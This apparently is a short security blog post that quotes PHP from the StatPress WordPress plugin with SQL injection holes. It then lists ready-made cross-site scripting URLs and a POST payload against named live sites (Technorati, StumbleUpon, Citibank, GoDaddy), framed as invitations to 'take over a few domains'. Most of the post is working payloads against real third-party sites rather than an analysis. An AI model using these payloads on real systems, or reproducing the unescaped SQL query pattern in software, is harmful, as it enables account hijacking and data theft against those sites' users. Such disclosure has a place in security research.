hiredhacker.com

iriStatAppend()

// URL (requested)
$urlRequested = iri_StatPress_URL();
...
$referrer = (isset($_SERVER['HTTP_REFERER']) ? htmlentities($_SERVER['HTTP_REFERER']) : '');
...
$insert = "INSERT INTO " . $table_name . " (date, time, ip, urlrequested, agent, referrer, search,nation,os,browser,searchengine,spider,feed,user,timestamp) " . "VALUES ('$vdate','$vtime','$ipAddress','$urlRequested','" . addslashes(strip_tags($userAgent)) . "','$referrer','" . addslashes(strip_tags($search_phrase)) . "','" . iriDomain($ipAddress) . "','$os','$browser','$searchengine','$spider','$feed','$userdata->user_login','$timestamp')";
$results = $wpdb->query($insert);

iri_StatPress_Vars()

if (strpos(strtolower($body), "%thistotalvisits%") !== false)
{
    $qry = $wpdb->get_results("SELECT count(DISTINCT(ip)) as pageview FROM $table_name WHERE spider='' and feed='' AND urlrequested='" . iri_StatPress_URL() . "';");
    $body = str_replace("%thistotalvisits%", $qry[0]->pageview, $body);
}

There are more vulnerabilities, including sql injection (such as iriStatPressSearch()) and cross site scripting.

If anyone is interested, Technorati is full of bugs like this.

http://technorati.com/blogs/tag/%27%22%3E%3Cscript%3Ealert(1)%3C/script%3E

http://www.technorati.com/404please%27);alert(1);//

http://www.technorati.com/search/%22%3E%3Cscript%3Ealert(1)%3C/script%3E

[POST]http://www.technorati.com/account/bio/?bio_blurb=&company=%22%3E%3Cscript%3Ealert(1)%3C/script%3E&zipcode=&country=US&func=updateuser

Free stumbles anyone?

http://www.stumbleupon.com/recover.php?email=no%40no.com%22%3E%3Cscript%3Ealert(1);%3C/script%3E

http://www.stumbleupon.com/find_friend.php?q=%22%3E%3Cscript%3Ealert(1);%3C/script%3E

http://www.citibank.com/domain/contact/index.htm?_u=visitor&_uid=&_profile=%2522%2522%253e%253cimg src=%2522%2522 onerror=%2522alert(1)%2522

Anyone want to take over a few domains?

https://dcc.godaddy.com/DccError.aspx?sa=%22+onerror%3d%27alert(1)%27+%22

https://dcc.godaddy.com/default.aspx?activeview=transfer&filtertype=3&sa=%22+onerror%3d%27alert(1)%27+%22

https://mya.godaddy.com/myaError.aspx?sa=%27%20onerror=%27alert(1)

It’s scary how full of holes godaddy.com is, this is just a sample of what I saw while I was transferring my domains to webfaction.